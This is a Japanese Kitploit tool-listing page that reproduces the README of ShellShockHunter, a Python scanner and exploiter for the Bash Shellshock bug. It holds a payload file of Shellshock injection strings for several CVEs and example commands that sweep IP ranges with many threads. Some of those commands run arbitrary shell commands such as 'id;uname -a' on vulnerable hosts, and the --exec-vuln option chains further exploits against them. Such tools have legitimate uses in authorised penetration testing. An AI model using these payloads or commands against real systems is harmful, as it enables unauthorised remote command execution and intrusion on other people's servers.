Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ShellShockHunter — シェルショック脆弱性をテストするためのシンプルなツールです。 | Kitploit
ツール/GitHubGitHub/mrcl0wnlab/shellshockhunter
脆弱性スキャナーエクスプロイトウェブアプリケーション悪用ペネトレーションテスト
GitHubmrcl0wnlab/shellshockhunter

ShellShockHunter

シェルショック脆弱性をテストするためのシンプルなツールです。

リポジトリを見る
124345年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

バナー ShellShockHunter v1.0

ShellShockHunter v1.0

シェルショック脆弱性をテストするためのシンプルなツールです。

GPL License GitHub code size in bytes Python 3.8 Supported_OS Linux orange Supported OS Mac

root@kitploit:~
作成者:    MrCl0wn
ブログ:    http://blog.mrcl0wn.com
GitHub:   https://github.com/MrCl0wnLab
Twitter:  https://twitter.com/MrCl0wnLab
メール:    mrcl0wnlab\@\gmail.com

Shellshock (ソフトウェアバグ)

Shellshock(別名Bashdoor)は、Unix Bashシェルにおける一連のセキュリティバグであり、最初のものは2014年9月24日に公開されました。Shellshockは、攻撃者がBashに任意のコマンドを実行させ、Webサーバーなど、Bashを使用してリクエストを処理する多くのインターネット向けサービスに不正アクセスすることを可能にします。

免責事項

このプログラムは教育目的のみです。許可なく使用しないでください。通常の免責事項が適用されます。特に、私(MrCl0wnLab)は、これらのプログラムによって提供される情報や機能を直接的または間接的に使用することで生じたいかなる損害についても責任を負いません。作者またはインターネットプロバイダーは、これらのプログラムまたはその派生物の内容や誤用について一切の責任を負いません。これらのプログラムを使用することにより、データ損失、システムクラッシュ、システム侵害などの損害が生じても、MrCl0wnLabが責任を負わないことに同意したものとみなされます。

インストール

パッケージマネージャー pip を使用します。

Pip

root@kitploit:~
pip install shodan
pip install ipinfo

Help

root@kitploit:~
python main.py --help

                        
                                          ,/
                                        ,'/
                                      ,' /
                                    ,'  /_____,
                                  .'____    ,'    
                                        /  ,'
                                      / ,'
                                      /,'
                                    /'
             ____  _     _____ _     _     ____  _      ___       _    
            / ___|| |__ |___ /| |   | |   / ___|| |__  / _ \  ___| | __
            \___ \| '_ \  |_ \| |   | |   \___ \| '_ \| | | |/ __| |/ /
             ___) | | | |___) | |___| |___ ___) | | | | | |_| | (__|   < 
            |____/|_| |_|____/|_____|_____|____/|_| |_|\___/ \___|_|\_\
                     __   _   _             _              __                  
                    | _| | | | |_   _ _ __ | |_ ___ _ __  |_ |                 
                    | |  | |_| | | | | '_ \| __/ _ \ '__|  | |                 
                    | |  |  _  | |_| | | | | ||  __/ |     | |                 
                    | |  |_| |_|\__,_|_| |_|\__\___|_|     | |                 
                    |__|                                  |__| v1.0                
                      By: MrCl0wn / https://blog.mrcl0wn.com                                                                          
         
usage: tool [-h] [--file <ips.txt>] [--range <ip-start>,<ip-end>] 
[--cmd-cgi <command shell>] [--exec-vuln <command shell>] [--thread <20>] 
[--check] [--ssl] [--cgi-file <cgi.txt>] [--timeout <5>] [--all] [--debug]

optional arguments:
  -h, --help                   show this help message and exit
  --file <ips.txt>             Input your target host lists
  --range <ip-start>,<ip-end>  Set range IP Eg.: 192.168.15.1,192.168.15.100
  --cmd-cgi <command shell>    Define shell command that will be executed in the payload
  --exec-vuln <command shell>  Executing commands on vulnerable targets
  --thread <20>, -t <20>       Eg. 20
  --check                      Check for shellshock vulnerability
  --ssl                        Enable request with SSL
  --cgi-file <cgi.txt>         Defines a CGI file to be used
  --timeout <5>                Set connection timeout
  --all                        Teste all payloads
  --debug, -d                  Enable debug mode

コマンド例:

root@kitploit:~
python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl

python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 10 --ssl --cgi-file 'wordlist/cgi.txt'

python main.py --range '194.206.187.X,194.206.187.XXX' --cmd 'id;uname -a' --thread 10 --ssl --cgi-file 'wordlist/cgi.txt'

python main.py --file targets.txt --cmd 'id;uname -a' --thread 10 --ssl --cgi-file 'wordlist/cgi.txt'

python main.py --file targets.txt --cmd 'id;uname -a' --thread 10 --ssl --cgi-file 'wordlist/cgi.txt' --all

python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl --cgi-file 'wordlist/cgi2.txt' --exec-vuln 'curl -v -k -i "_TARGET_"'

python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl --cgi-file 'wordlist/cgi2.txt' --exec-vuln './exploit -t "_TARGET_"'

python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl --cgi-file 'wordlist/cgi2.txt' --exec-vuln './exploit -t "_TARGET_"' --debug

スクリーンショット:

START

ロゴ

PROCESS

ロゴ

SPECIAL COMMAND ( --exec-vuln 'echo "_TARGET_"' )

ロゴ

COMMAND ( --debug )

ロゴ --debug

ソースファイル(エクスプロイト)

pwd: assets/exploits.json

root@kitploit:~
{
    "DEFAULT":
        "() { :; }; echo ; /bin/bash -c '_COMMAND_'",
    "CVE-2014-6271": 
        "() { :; }; echo _CHECKER_; /bin/bash -c '_COMMAND_'",
    "CVE-2014-6271-2":
        "() { :;}; echo '_CHECKER_' 'BASH_FUNC_x()=() { :;}; echo _CHECKER_' bash -c 'echo _COMMAND_'",
    "CVE-2014-6271-3":
        "() { :; }; echo ; /bin/bash -c '_COMMAND_';echo _CHECKER_;",
    "CVE-2014-7169":
        "() { (a)=>\\' /bin/bash -c 'echo _CHECKER_'; cat echo",
    "CVE-2014-7186":
        "/bin/bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' || echo '_CHECKER_, redir_stack'",
    "CVE-2014-7187":
        "(for x in {1..200} ; do echo \"for x$x in ; do :\"; done; for x in {1..200} ; do echo done ; done) | /bin/bash || echo '_CHECKER_, word_lineno'",
    "CVE-2014-6278":
        "() { _; } >_[$($())] { echo _CHECKER_; id; } /bin/bash -c '_COMMAND_'",
    "CVE-2014-6278-2":    
        "shellshocker='() { echo _CHECKER_; }' bash -c shellshocker",
    "CVE-2014-6277":
        "() { x() { _; }; x() { _; } <<a; } /bin/bash -c _COMMAND_;echo _CHECKER_",
    "CVE-2014-*":
        "() { }; echo _CHECKER_' /bin/bash -c '_COMMAND_'"
}

ソースファイル(設定)

pwd: assets/config.json

root@kitploit:~
{
    "config": {
        "threads": 20,
        "path": {
            "path_output": "output/",
            "path_wordlist": "wordlist/",
            "path_modules": "modules/",
            "path_assets": "assets/"
        },
        "files_assets":{
            "config": "assets/config.json",
            "autor": "assets/autor.json",
            "exploits": "assets/exploits.json"
        },
        "api":{
            "shodan":"",
            "ipinfo":""
        }
    }
}

ツリー

root@kitploit:~
├── assets
│   ├── autor.json
│   ├── config.json
│   ├── exploits.json
│   └── prints
│       ├── banner.png
│       ├── print00.png
│       ├── print01.png
│       ├── print02.png
│       └── print03.png
├── LICENSE
├── main.py
├── modules
│   ├── banner_shock.py
│   ├── color_shock.py
│   ├── debug_shock.py
│   ├── file_shock.py
│   ├── __init__.py
│   ├── request_shock.py
│   ├── shodan_shock.py
│   └── thread_shock.py
├── output
│   └── vuln.txt
├── README.md
└── wordlist
    └── cgi.txt

参考文献

  • https://owasp.org/www-pdf-archive/Shellshock_-_Tudor_Enache.pdf
  • https://en.wikipedia.org/wiki/Shellshock_%28software_bug%29#CVE-2014-7186_and_CVE-2014-7187_Details
  • https://blog.inurl.com.br/search?q=shellshock
  • https://github.com/googleinurl/Xpl-SHELLSHOCK-Ch3ck/blob/master/xplSHELLSHOCK.php
  • https://github.com/chelseakomlo/shellshock_demo
  • https://github.com/xdistro/ShellShock/blob/master/shellshock_test.sh
  • https://github.com/capture0x/XSHOCK/blob/master/main.py
  • https://lcamtuf.blogspot.com/2014/10/bash-bug-how-we-finally-cracked.html
  • https://blog.sucuri.net/2014/09/bash-vulnerability-shell-shock-thousands-of-cpanel-sites-are-high-risk.html
  • https://github.com/BuddhaLabs/PacketStorm-Exploits/blob/master/1410-exploits/apachemodcgi-shellshock.txt
  • https://github.com/gajos112/OSCP/blob/master/Shellshock.txt
  • https://dl.packetstormsecurity.net/1606-exploits/sunsecuregdog-shellshock.txt
  • http://stuff.ipsecs.com/files/ucs-shellshock_pl.txt
  • https://github.com/opsxcq/exploit-CVE-2014-6271
  • https://en.wikipedia.org/wiki/Shellshock_%28software_bug%29#CVE-2014-7186_and_CVE-2014-7187_Details

ロードマップ

私はこのプロジェクトを、Pythonをもう少し学び、ShodanやipinfoのようなAPIともっと連携するために始めました。

  • コマンドライン構造
  • バナー
  • ファイル管理クラス
  • HttpRequests管理クラス
  • スレッド管理クラス
  • エクスプロイトのソースファイル
  • プロセス内の色付け
  • 脆弱なターゲットでのシェル実行
  • プロセスデバッグ
ツールをダウンロード
  • https://manualdousuario.net/shellshock-bash-falha/
  • https://darrenmartyn.ie/2021/01/24/visualdoor-sonicwall-ssl-vpn-exploit